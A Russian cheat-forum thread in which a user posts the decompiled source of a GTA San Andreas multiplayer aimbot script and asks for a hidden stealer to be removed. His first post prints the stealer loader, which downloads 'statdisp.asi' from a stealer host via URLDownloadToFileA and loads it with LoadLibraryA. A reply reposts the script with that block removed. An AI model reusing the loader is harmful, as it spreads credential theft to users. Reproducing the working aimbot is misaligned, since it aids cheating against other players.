Помогите с CLEO[Stealer] - Форум Cheat-Master.ru
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Форум » Программирование » CLEO Программирование » Помогите с CLEO[Stealer]
Помогите с CLEO[Stealer]
MaximkaCS Дата: Вторник, 14.08.2018, 14:00 | Сообщение # 1
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Сообщений: 60
Статус: Offline
У меня давно уже есть клео в котором есть слиллер(я знал какое это клео), но я знал про свою безопасность потому что у меня есть антистиллер от Даркпикселя. Я открыл это клео в SannyBuilder3, клео заскриптировано, а в AVP Cleo_Stealer[DECRYPTED], ну я там зашёл в папку temp и у меня есть исходник этого клео со стиллером. Я не программист, пожалуйста помогите с этим клео, отредактируйте его чтобы не было стиллера.

Вот исходник: rgho.st

Цитата
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0AC6: 0@ = label @$SPRINGFIELD_UGBASE_2701 offset
0AC8: 1@ = allocate_memory_size 224
0AA6: call_method 4606176 struct 1@ num_params 0 pop 0
0A8E: 2@ = 1@ + 16 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 20 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 196 // int
0A8C: write_memory 2@ size 1 value 1 virtual_protect 1
0AA6: call_method 4606976 struct 1@ num_params 1 pop 0 11056172
0AC6: 0@ = label @$SPRINGFIELD_UGBASE_178 offset
0A9F: 1@ = current_thread_pointer
0A8E: 2@ = 1@ + 16 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 20 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1

:$SPRINGFIELD_UGBASE_178
0000: NOP
wait 2000
thread "$SPRINGFIELD_UGBASE"
03F0: enable_text_draw 1
31@ = 0
wait 0
if
0AB0: key_pressed 121
else_jump @$SPRINGFIELD_UGBASE_160
if
31@ == 0
else_jump @$SPRINGFIELD_UGBASE_122
0AD1: show_formatted_text_highpriority "Aimbot ~g~enabled" time 1000
31@ = 1
wait 200
jump @$SPRINGFIELD_UGBASE_160
0AD1: show_formatted_text_highpriority "Aimbot ~r~disabled" time 1000
31@ = 0
wait 200
if
31@ == 1
else_jump @$SPRINGFIELD_UGBASE_273
if and
0AD2: 2@ = player $PLAYER_CHAR targeted_actor //IF and SET
82D8: not actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_224
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@
jump @$SPRINGFIELD_UGBASE_273
if and
02D8: actor $PLAYER_ACTOR current_weapon == 34
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1963 1 150.0 2@
else_jump @$SPRINGFIELD_UGBASE_273
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@
jump @$SPRINGFIELD_UGBASE_41
0085: 2@ = 0@ // (int)
if and
056D: actor 2@ defined
00E1: player 0 pressed_key 6
else_jump @$SPRINGFIELD_UGBASE_585
if and
not Actor.Dead(2@)
02CB: actor 2@ bounding_sphere_visible
else_jump @$SPRINGFIELD_UGBASE_585
0A96: 6@ = actor 2@ struct
6@ += 68
0A8D: 3@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 4@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 5@ = read_memory 6@ size 4 virtual_protect 0
Actor.StorePos(2@, 6@, 7@, 8@)
10@ = 5
11@ = 5
005A: 10@ += 11@ // (int)
0093: 10@ = integer 10@ to_float
12@ = 17.0
12@ /= 360.0
006B: 3@ *= 12@ // (float)
006B: 4@ *= 12@ // (float)
006B: 5@ *= 12@ // (float)
006B: 3@ *= 10@ // (float)
006B: 4@ *= 10@ // (float)
006B: 5@ *= 10@ // (float)
005B: 6@ += 3@ // (float)
005B: 7@ += 4@ // (float)
005B: 8@ += 5@ // (float)
if
02D8: actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_563
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_590 1 2@
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_968 4 2@ 6@ 7@ 8@
0AB2: ret 0
31@ = 6.0
29@ = 255
28@ = 55
27@ = 1.0
if
31@ > 8.0
else_jump @$SPRINGFIELD_UGBASE_653
30@ = 1
if
not 31@ >= 6.0
else_jump @$SPRINGFIELD_UGBASE_681
30@ = 0
if
30@ == 0
else_jump @$SPRINGFIELD_UGBASE_709
31@ += 0.05
if
30@ == 1
else_jump @$SPRINGFIELD_UGBASE_737
31@ -= 0.05
04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 1@ 2@ 3@ 4@ 5@
0087: 1@ = 4@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 4@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
0AB2: ret 0
0087: 4@ = 1@ // (float)
0087: 5@ = 2@ // (float)
0087: 6@ = 3@ // (float)
068D: get_camera_position_to 1@ 2@ 3@
04C4: store_coords_to 7@ 8@ 9@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0
0063: 1@ -= 4@ // (float)
0063: 2@ -= 5@ // (float)
0096: make 1@ absolute_float
0096: make 2@ absolute_float
0087: 10@ = 1@ // (float)
0087: 11@ = 2@ // (float)
006B: 10@ *= 10@ // (float)
006B: 11@ *= 11@ // (float)
005B: 10@ += 11@ // (float)
01FB: 10@ = square_root 10@
0087: 11@ = 1@ // (float)
0087: 12@ = 10@ // (float)
0073: 11@ /= 12@ // (float)
0AA5: call 4327328 num_params 1 pop 1 11@
0AE9: pop_float 12@
0AA5: call 4775488 num_params 1 pop 1 11@
0AE9: pop_float 13@
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1863 0 16@
else_jump @$SPRINGFIELD_UGBASE_1302
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1364 7 4@ 5@ 7@ 8@ 12@ 13@ 16@ 15@
else_jump @$SPRINGFIELD_UGBASE_1302
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1307 6 4@ 5@ 6@ 7@ 8@ 9@
else_jump @$SPRINGFIELD_UGBASE_1302
15@ += 0.0387
0A8C: write_memory 11989592 size 4 value 15@ virtual_protect 0
0AB2: ret 0
if
06BD: no_obstacles_between 3@ 4@ 5@ and 0@ 1@ 2@ solid 1 car 0 actor 0 object 0 particle 0
else_jump @$SPRINGFIELD_UGBASE_1357
0485: return_true
jump @$SPRINGFIELD_UGBASE_1359
059A: return_false
0AB2: ret 0
if
6@ == 5
else_jump @$SPRINGFIELD_UGBASE_1429
7@ = 0.011
8@ = 0.011
9@ = 1.5595
10@ = 1.582
jump @$SPRINGFIELD_UGBASE_1599
if
6@ == 6
else_jump @$SPRINGFIELD_UGBASE_1559
if
02D8: actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_1512
7@ = 0.039
8@ = 0.039
9@ = 1.532
10@ = 1.61
jump @$SPRINGFIELD_UGBASE_1552
7@ = 0.02
8@ = 0.02
9@ = 1.5507
10@ = 1.5907
jump @$SPRINGFIELD_UGBASE_1599
7@ = -0.003
8@ = -0.003
9@ = 1.572
10@ = 1.568
if and
0025: 2@ > 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1642
0063: 5@ -= 8@ // (float)
0087: 15@ = 5@ // (float)
if and
0025: 2@ > 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1695
5@ *= -1.0
0063: 5@ -= 7@ // (float)
0087: 15@ = 5@ // (float)
if and
8035: not 2@ >= 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1738
005B: 4@ += 9@ // (float)
0087: 15@ = 4@ // (float)
if and
8035: not 2@ >= 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1791
4@ *= -1.0

:$SPRINGFIELD_UGBASE_1953
0063: 4@ -= 10@ // (float)
0087: 15@ = 4@ // (float)
0A8D: 11@ = read_memory 11989592 size 4 virtual_protect 0
0063: 11@ -= 15@ // (float)
if and
not 11@ >= 0.18
11@ > -0.18
else_jump @$SPRINGFIELD_UGBASE_1853
0485: return_true
jump @$SPRINGFIELD_UGBASE_1855
059A: return_false
0AB2: ret 1 15@
0A96: 0@ = actor $PLAYER_ACTOR struct
0@ += 1816
0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0
if or
1@ == 2
1@ == 3
1@ == 4
1@ == 5
1@ == 6
1@ == 7
else_jump @$SPRINGFIELD_UGBASE_1953
0485: return_true
jump @$SPRINGFIELD_UGBASE_1955
059A: return_false
0AB2: ret 1 1@
28@ = 0.0
0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0
29@ += 4
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0
30@ = 0
0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0
29@ += 1
if and
31@ >= 0
128 > 31@
else_jump @$SPRINGFIELD_UGBASE_2299
005A: 31@ += 30@ // (int)
if
056D: actor 31@ defined
else_jump @$SPRINGFIELD_UGBASE_2299
if
803C: not $PLAYER_ACTOR == 31@ // (int)
else_jump @$SPRINGFIELD_UGBASE_2299
04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0
068D: get_camera_position_to 24@ 23@ 22@
if and
06BD: no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 0 actor 0 object 0 particle 0
not Actor.Driving(31@)
not Actor.Dead(31@)
02CB: actor 31@ bounding_sphere_visible
else_jump @$SPRINGFIELD_UGBASE_2299
04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 10@ 11@ 12@ 13@ 14@
0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@
if
0035: 28@ >= 15@ // (float)
else_jump @$SPRINGFIELD_UGBASE_2299
0AB2: ret 1 31@
30@ += 256
30@ > 35584
else_jump @$SPRINGFIELD_UGBASE_2013
28@ += 8.0
001D: 28@ > 0@ // (int)
else_jump @$SPRINGFIELD_UGBASE_1973
0AB2: ret 1 -1
0AC7: 14@ = var 0@ offset
0AC7: 15@ = var 3@ offset
0AC7: 16@ = var 6@ offset
0AC7: 17@ = var 9@ offset
0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@
12@ = 640.0
13@ = 448.0
0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0
0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0
0093: 14@ = integer 14@ to_float
0093: 15@ = integer 15@ to_float
0073: 12@ /= 14@ // (float)
0073: 13@ /= 15@ // (float)
006B: 3@ *= 12@ // (float)
006B: 4@ *= 13@ // (float)
0AB2: ret 2 3@ 4@

:$SPRINGFIELD_UGBASE_2701
0000: NOP
wait 3000
if
0AAB: file_exists "statdisp.asi"
else_jump @$SPRINGFIELD_UGBASE_34
0AC8: 1@ = allocate_memory_size 256
0AC8: 2@ = allocate_memory_size 256
0AC8: 4@ = allocate_memory_size 128
0AD3: 2@ = format "statdisp.asi"
0AD3: 1@ = format "https:%c%cstealers.ru/getsteal/00025475" 47 47
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_260 2 2@ 1@ 3@
wait 0
0AAB: file_exists "statdisp.asi"
else_jump @$SPRINGFIELD_UGBASE_148
0AC9: free_allocated_memory 1@
0AC9: free_allocated_memory 2@
0AC9: free_allocated_memory 4@
0AA2: 31@ = load_library "Kernel32.dll" // IF and SET
0AA4: 30@ = get_proc_address "LoadLibraryA" library 31@ // IF and SET
0AA7: call_function 30@ num_params 1 pop 0 "statdisp.asi" 29@
end_thread
0AA2: 10@ = load_library "Urlmon.dll" // IF and SET
0AA4: 11@ = get_proc_address "URLDownloadToFileA" library 10@ // IF and SET
0AA7: call_function 11@ num_params 5 pop 0 0 0 0@ 1@ 0 12@
0AB2: ret 1 12@


Привет людям

Сообщение отредактировал MaximkaCS - Вторник, 14.08.2018, 14:04
slavawar Дата: Вторник, 14.08.2018, 14:28 | Сообщение # 2
Проверенный
Сообщений: 172
Статус: Offline
Код

// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0AC6: 0@ = label @$SPRINGFIELD_UGBASE_2701 offset
0AC8: 1@ = allocate_memory_size 224
0AA6: call_method 4606176 struct 1@ num_params 0 pop 0
0A8E: 2@ = 1@ + 16 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 20 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 196 // int
0A8C: write_memory 2@ size 1 value 1 virtual_protect 1
0AA6: call_method 4606976 struct 1@ num_params 1 pop 0 11056172
0AC6: 0@ = label @$SPRINGFIELD_UGBASE_178 offset
0A9F: 1@ = current_thread_pointer
0A8E: 2@ = 1@ + 16 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 20 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1

:$SPRINGFIELD_UGBASE_178
0000: NOP
wait 2000
thread "$SPRINGFIELD_UGBASE"
03F0: enable_text_draw 1
31@ = 0
wait 0
if
0AB0: key_pressed 121
else_jump @$SPRINGFIELD_UGBASE_160
if
31@ == 0
else_jump @$SPRINGFIELD_UGBASE_122
0AD1: show_formatted_text_highpriority "Aimbot ~g~enabled" time 1000
31@ = 1
wait 200
jump @$SPRINGFIELD_UGBASE_160
0AD1: show_formatted_text_highpriority "Aimbot ~r~disabled" time 1000
31@ = 0
wait 200
if
31@ == 1
else_jump @$SPRINGFIELD_UGBASE_273
if and
0AD2: 2@ = player $PLAYER_CHAR targeted_actor //IF and SET
82D8: not actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_224
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@
jump @$SPRINGFIELD_UGBASE_273
if and
02D8: actor $PLAYER_ACTOR current_weapon == 34
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1963 1 150.0 2@
else_jump @$SPRINGFIELD_UGBASE_273
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@
jump @$SPRINGFIELD_UGBASE_41
0085: 2@ = 0@ // (int)
if and
056D: actor 2@ defined
00E1: player 0 pressed_key 6
else_jump @$SPRINGFIELD_UGBASE_585
if and
not Actor.Dead(2@)
02CB: actor 2@ bounding_sphere_visible
else_jump @$SPRINGFIELD_UGBASE_585
0A96: 6@ = actor 2@ struct
6@ += 68
0A8D: 3@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 4@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 5@ = read_memory 6@ size 4 virtual_protect 0
Actor.StorePos(2@, 6@, 7@, 8@)
10@ = 5
11@ = 5
005A: 10@ += 11@ // (int)
0093: 10@ = integer 10@ to_float
12@ = 17.0
12@ /= 360.0
006B: 3@ *= 12@ // (float)
006B: 4@ *= 12@ // (float)
006B: 5@ *= 12@ // (float)
006B: 3@ *= 10@ // (float)
006B: 4@ *= 10@ // (float)
006B: 5@ *= 10@ // (float)
005B: 6@ += 3@ // (float)
005B: 7@ += 4@ // (float)
005B: 8@ += 5@ // (float)
if
02D8: actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_563
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_590 1 2@
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_968 4 2@ 6@ 7@ 8@
0AB2: ret 0
31@ = 6.0
29@ = 255
28@ = 55
27@ = 1.0
if
31@ > 8.0
else_jump @$SPRINGFIELD_UGBASE_653
30@ = 1
if
not 31@ >= 6.0
else_jump @$SPRINGFIELD_UGBASE_681
30@ = 0
if
30@ == 0
else_jump @$SPRINGFIELD_UGBASE_709
31@ += 0.05
if
30@ == 1
else_jump @$SPRINGFIELD_UGBASE_737
31@ -= 0.05
04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 1@ 2@ 3@ 4@ 5@
0087: 1@ = 4@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 4@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
0AB2: ret 0
0087: 4@ = 1@ // (float)
0087: 5@ = 2@ // (float)
0087: 6@ = 3@ // (float)
068D: get_camera_position_to 1@ 2@ 3@
04C4: store_coords_to 7@ 8@ 9@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0
0063: 1@ -= 4@ // (float)
0063: 2@ -= 5@ // (float)
0096: make 1@ absolute_float
0096: make 2@ absolute_float
0087: 10@ = 1@ // (float)
0087: 11@ = 2@ // (float)
006B: 10@ *= 10@ // (float)
006B: 11@ *= 11@ // (float)
005B: 10@ += 11@ // (float)
01FB: 10@ = square_root 10@
0087: 11@ = 1@ // (float)
0087: 12@ = 10@ // (float)
0073: 11@ /= 12@ // (float)
0AA5: call 4327328 num_params 1 pop 1 11@
0AE9: pop_float 12@
0AA5: call 4775488 num_params 1 pop 1 11@
0AE9: pop_float 13@
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1863 0 16@
else_jump @$SPRINGFIELD_UGBASE_1302
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1364 7 4@ 5@ 7@ 8@ 12@ 13@ 16@ 15@
else_jump @$SPRINGFIELD_UGBASE_1302
if
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1307 6 4@ 5@ 6@ 7@ 8@ 9@
else_jump @$SPRINGFIELD_UGBASE_1302
15@ += 0.0387
0A8C: write_memory 11989592 size 4 value 15@ virtual_protect 0
0AB2: ret 0
if
06BD: no_obstacles_between 3@ 4@ 5@ and 0@ 1@ 2@ solid 1 car 0 actor 0 object 0 particle 0
else_jump @$SPRINGFIELD_UGBASE_1357
0485: return_true
jump @$SPRINGFIELD_UGBASE_1359
059A: return_false
0AB2: ret 0
if
6@ == 5
else_jump @$SPRINGFIELD_UGBASE_1429
7@ = 0.011
8@ = 0.011
9@ = 1.5595
10@ = 1.582
jump @$SPRINGFIELD_UGBASE_1599
if
6@ == 6
else_jump @$SPRINGFIELD_UGBASE_1559
if
02D8: actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_1512
7@ = 0.039
8@ = 0.039
9@ = 1.532
10@ = 1.61
jump @$SPRINGFIELD_UGBASE_1552
7@ = 0.02
8@ = 0.02
9@ = 1.5507
10@ = 1.5907
jump @$SPRINGFIELD_UGBASE_1599
7@ = -0.003
8@ = -0.003
9@ = 1.572
10@ = 1.568
if and
0025: 2@ > 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1642
0063: 5@ -= 8@ // (float)
0087: 15@ = 5@ // (float)
if and
0025: 2@ > 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1695
5@ *= -1.0
0063: 5@ -= 7@ // (float)
0087: 15@ = 5@ // (float)
if and
8035: not 2@ >= 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1738
005B: 4@ += 9@ // (float)
0087: 15@ = 4@ // (float)
if and
8035: not 2@ >= 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @$SPRINGFIELD_UGBASE_1791
4@ *= -1.0

:$SPRINGFIELD_UGBASE_1953
0063: 4@ -= 10@ // (float)
0087: 15@ = 4@ // (float)
0A8D: 11@ = read_memory 11989592 size 4 virtual_protect 0
0063: 11@ -= 15@ // (float)
if and
not 11@ >= 0.18
11@ > -0.18
else_jump @$SPRINGFIELD_UGBASE_1853
0485: return_true
jump @$SPRINGFIELD_UGBASE_1855
059A: return_false
0AB2: ret 1 15@
0A96: 0@ = actor $PLAYER_ACTOR struct
0@ += 1816
0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0
if or
1@ == 2
1@ == 3
1@ == 4
1@ == 5
1@ == 6
1@ == 7
else_jump @$SPRINGFIELD_UGBASE_1953
0485: return_true
jump @$SPRINGFIELD_UGBASE_1955
059A: return_false
0AB2: ret 1 1@
28@ = 0.0
0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0
29@ += 4
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0
30@ = 0
0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0
29@ += 1
if and
31@ >= 0
128 > 31@
else_jump @$SPRINGFIELD_UGBASE_2299
005A: 31@ += 30@ // (int)
if
056D: actor 31@ defined
else_jump @$SPRINGFIELD_UGBASE_2299
if
803C: not $PLAYER_ACTOR == 31@ // (int)
else_jump @$SPRINGFIELD_UGBASE_2299
04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0
068D: get_camera_position_to 24@ 23@ 22@
if and
06BD: no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 0 actor 0 object 0 particle 0
not Actor.Driving(31@)
not Actor.Dead(31@)
02CB: actor 31@ bounding_sphere_visible
else_jump @$SPRINGFIELD_UGBASE_2299
04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 10@ 11@ 12@ 13@ 14@
0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@
if
0035: 28@ >= 15@ // (float)
else_jump @$SPRINGFIELD_UGBASE_2299
0AB2: ret 1 31@
30@ += 256
30@ > 35584
else_jump @$SPRINGFIELD_UGBASE_2013
28@ += 8.0
001D: 28@ > 0@ // (int)
else_jump @$SPRINGFIELD_UGBASE_1973
0AB2: ret 1 -1
0AC7: 14@ = var 0@ offset
0AC7: 15@ = var 3@ offset
0AC7: 16@ = var 6@ offset
0AC7: 17@ = var 9@ offset
0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@
12@ = 640.0
13@ = 448.0
0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0
0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0
0093: 14@ = integer 14@ to_float
0093: 15@ = integer 15@ to_float
0073: 12@ /= 14@ // (float)
0073: 13@ /= 15@ // (float)
006B: 3@ *= 12@ // (float)
006B: 4@ *= 13@ // (float)
0AB2: ret 2 3@ 4@

Если будут ошибки, отпишись.


Мои темы:
[AHK] Шифратор текста
[AHK] Акцент 3 в 1
[C#] Генератор RP ников
MaximkaCS Дата: Вторник, 14.08.2018, 14:50 | Сообщение # 3
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Сообщений: 60
Статус: Offline
slavawar, Спасибо, помог

Добавлено (14.08.2018, 15:00)
---------------------------------------------
slavawar, А можешь ещё скомпилировать,у меня ошибка Imgur


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slavawar Дата: Среда, 15.08.2018, 21:36 | Сообщение # 4
Проверенный
Сообщений: 172
Статус: Offline
Ссылка на метку в начале осталась, попробуй так:
Код

// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0AC6: 0@ = label @$SPRINGFIELD_UGBASE_2701 offset
0AC8: 1@ = allocate_memory_size 224
0AA6: call_method 4606176 struct 1@ num_params 0 pop 0
0A8E: 2@ = 1@ + 16 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 20 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 196 // int
0A8C: write_memory 2@ size 1 value 1 virtual_protect 1
0AA6: call_method 4606976 struct 1@ num_params 1 pop 0 11056172
0AC6: 0@ = label @$SPRINGFIELD_UGBASE_178 offset
0A9F: 1@ = current_thread_pointer
0A8E: 2@ = 1@ + 16 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1
0A8E: 2@ = 1@ + 20 // int
0A8C: write_memory 2@ size 4 value 0@ virtual_protect 1

:$SPRINGFIELD_UGBASE_178
0000: NOP
wait 2000
thread "$SPRINGFIELD_UGBASE"
03F0: enable_text_draw 1
31@ = 0
wait 0
if
0AB0: key_pressed 121
else_jump @$SPRINGFIELD_UGBASE_160
if
31@ == 0
else_jump @$SPRINGFIELD_UGBASE_122
0AD1: show_formatted_text_highpriority "Aimbot ~g~enabled" time 1000
31@ = 1
wait 200
jump @$SPRINGFIELD_UGBASE_160
0AD1: show_formatted_text_highpriority "Aimbot ~r~disabled" time 1000
31@ = 0
wait 200
if
31@ == 1
else_jump @$SPRINGFIELD_UGBASE_273
if and
0AD2: 2@ = player $PLAYER_CHAR targeted_actor //IF and SET
82D8: not actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_224
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@
jump @$SPRINGFIELD_UGBASE_273
if and
02D8: actor $PLAYER_ACTOR current_weapon == 34
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1963 1 150.0 2@
else_jump @$SPRINGFIELD_UGBASE_273
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_280 1 2@
jump @$SPRINGFIELD_UGBASE_41
0085: 2@ = 0@ // (int)
if and
056D: actor 2@ defined
00E1: player 0 pressed_key 6
else_jump @$SPRINGFIELD_UGBASE_585
if and
not Actor.Dead(2@)
02CB: actor 2@ bounding_sphere_visible
else_jump @$SPRINGFIELD_UGBASE_585
0A96: 6@ = actor 2@ struct
6@ += 68
0A8D: 3@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 4@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 5@ = read_memory 6@ size 4 virtual_protect 0
Actor.StorePos(2@, 6@, 7@, 8@)
10@ = 5
11@ = 5
005A: 10@ += 11@ // (int)
0093: 10@ = integer 10@ to_float
12@ = 17.0
12@ /= 360.0
006B: 3@ *= 12@ // (float)
006B: 4@ *= 12@ // (float)
006B: 5@ *= 12@ // (float)
006B: 3@ *= 10@ // (float)
006B: 4@ *= 10@ // (float)
006B: 5@ *= 10@ // (float)
005B: 6@ += 3@ // (float)
005B: 7@ += 4@ // (float)
005B: 8@ += 5@ // (float)
if
02D8: actor $PLAYER_ACTOR current_weapon == 34
else_jump @$SPRINGFIELD_UGBASE_563
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_590 1 2@
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_968 4 2@ 6@ 7@ 8@
0AB2: ret 0
31@ = 6.0
29@ = 255
28@ = 55
27@ = 1.0
if
31@ > 8.0
else_jump @$SPRINGFIELD_UGBASE_653
30@ = 1
if
not 31@ >= 6.0
else_jump @$SPRINGFIELD_UGBASE_681
30@ = 0
if
30@ == 0
else_jump @$SPRINGFIELD_UGBASE_709
31@ += 0.05
if
30@ == 1
else_jump @$SPRINGFIELD_UGBASE_737
31@ -= 0.05
04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 1@ 2@ 3@ 4@ 5@
0087: 1@ = 4@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 4@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 1@ 5@ size 27@ 8.0 RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
005B: 1@ += 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
0087: 1@ = 5@ // (float)
0063: 1@ -= 31@ // (float)
038E: draw_box_position 4@ 1@ size 8.0 27@ RGBA 28@ 29@ 25 255
0AB2: ret 0
0087: 4@ = 1@ // (float)
0087: 5@ = 2@ // (float)
0087: 6@ = 3@ // (float)
068D: get_camera_position_to 1@ 2@ 3@
04C4: store_coords_to 7@ 8@ 9@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0
0063: 1@ -= 4@ // (float)
0063: 2@ -= 5@ // (float)
0096: make 1@ absolute_float
0096: make 2@ absolute_float
0087: 10@ = 1@ // (float)
0087: 11@ = 2@ // (float)
006B: 10@ *= 10@ // (float)
006B: 11@ *= 11@ // (float)
005B: 10@ += 11@ // (float)
01FB: 10@ = square_root 10@
0087: 11@ = 1@ // (float)
0087: 12@ = 10@ // (float)
0073: 11@ /= 12@ // (float)
0AA5: call 4327328 num_params 1 pop 1 11@
